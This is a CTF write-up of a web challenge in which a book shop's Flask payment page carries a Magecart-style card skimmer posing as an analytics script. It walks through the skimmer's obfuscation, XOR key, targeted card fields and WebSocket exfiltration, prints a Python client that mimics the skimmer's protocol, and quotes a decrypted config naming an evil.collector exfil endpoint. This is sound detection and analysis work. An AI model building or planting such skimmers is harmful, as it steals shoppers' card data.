Дуглас Муглис
Дуглас Муглис
Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: char_code_decoding, javascript_deobfuscation, web_skimmer_detection, websocket_interaction, xor_decryption
Summary
Task: Flask payment page with a stranger maintaining the site — find if the stranger is honest. Solution: discovered a Magecart-style credit card skimmer in metrics.min.js, deobfuscated char-code arrays to find XOR key, connected to the WebSocket exfil endpoint and received the flag in the server config response.
Дуглас Муглис — Bug Makers CTF
Description
Смышленный парень из деревеньки, поработал во многих сферах, и решил сделать сайт по продаже своих книг. Сайт еще совсем сырой, но уже выполняет заказы и принимает оплату. Однако, Дуглас не справился с нагрузкой, у него ведь еще жена и дети. По этому пришлось незнакомцу из интернета дать доступ, чтоб тот дорабатывал и следил за сайтом. Подскажите Дугласу Муглису, точно ли этот незнакомец честный парень?
English summary: A guy named Douglas Muglis built a raw book-selling website that accepts payments. He couldn't handle the workload alone, so he gave a stranger from the internet access to maintain the site. We need to determine whether this stranger is honest — i.e., find evidence of malicious activity.
Analysis
Reconnaissance
The site is a Flask application (Werkzeug/3.1.6, Python/3.9.25) serving a credit card payment form for ordering books. The form collects cardholder name, card number, expiry date, CVV, and email. Standard enumeration paths (/admin, /login, /console, .git, .env, robots.txt) all returned 404.
Malicious Script Discovery
Inspecting the page source revealed a suspicious script tag at the bottom of the HTML:
html read-only • copy allowed<script src="/static/metrics.min.js"></script>
This file was disguised as a legitimate analytics/metrics library but turned out to be a credit card skimmer (Magecart-style web skimmer).
JavaScript Deobfuscation
The minified JavaScript used char code arrays instead of plain strings to evade simple grep/search detection:
XOR encryption key — char codes [83,69,67,82,69,84,75,69,89,50,48,50,53] decode to SECRETKEY2025:
python read-only • copy allowedkey_chars = [83,69,67,82,69,84,75,69,89,50,48,50,53] key = ''.join(chr(c) for c in key_chars) # "SECRETKEY2025"
Monitored form fields — char code arrays decode to card-related field names:
python read-only • copy allowedfield_patterns = [ [99,97,114,100], # "card" [99,99], # "cc" [99,118,118], # "cvv" [99,118,99], # "cvc" [101,120,112,105,114],# "expir" [110,117,109,98,101,114], # "number" [110,97,109,101], # "name" [101,109,97,105,108] # "email" ]
Global variable name — [95,95,117,120,95,97,110,97,108,121,116,105,99,115] decodes to __ux_analytics, making it look like a legitimate UX analytics library.
Skimmer Behavior
The skimmer operated as follows:
- Attached
blurevent listeners to all form inputs matching card-related field names - On blur (user leaves a field), captured the field name and value
- On form submission, captured all form data at once
- XOR-encrypted the captured data with
SECRETKEY2025 - Base64-encoded the encrypted payload
- Exfiltrated via WebSocket to
wss://duglas-muglis.t1.bug-makers.ru/ws/metrics
Solution
After understanding the skimmer's protocol, I connected to the WebSocket endpoint programmatically and sent a properly formatted message mimicking the skimmer's behavior:
python read-only • copy allowed#!/usr/bin/env python3 import asyncio import websockets import json import base64 KEY = "SECRETKEY2025" def xor_encrypt(data, key): return ''.join(chr(ord(c) ^ ord(key[i % len(key)])) for i, c in enumerate(data)) def xor_decrypt(data, key): return ''.join(chr(ord(c) ^ ord(key[i % len(key)])) for i, c in enumerate(data)) async def connect(): uri = "wss://duglas-muglis.t1.bug-makers.ru/ws/metrics" async with websockets.connect(uri) as ws: print("Connected to WebSocket!") # Send a test message mimicking the skimmer's format payload = json.dumps({ "t": "page_analytics", "ts": 1234567890, "u": "/", "d": {"r": "", "t": "test"} }) encrypted = xor_encrypt(payload, KEY) encoded = base64.b64encode( encrypted.encode('utf-8', errors='surrogateescape') ).decode() await ws.send(encoded) print(f"Sent: {payload}") # Receive and decrypt the response response = await asyncio.wait_for(ws.recv(), timeout=5) decoded = base64.b64decode(response) decrypted = xor_decrypt( decoded.decode('utf-8', errors='surrogateescape'), KEY ) print(f"Decrypted response: {decrypted}") asyncio.run(connect())
The server responded with an XOR-encrypted, base64-encoded config message. Decrypting it revealed:
json read-only • copy allowed{ "status": "connected", "session": "3f4609d8", "config": { "exfil_endpoint": "wss://evil.collector.internal/data", "flag": "BugCTF{REDACTED}" } }
The config confirms the stranger was exfiltrating stolen card data to wss://evil.collector.internal/data.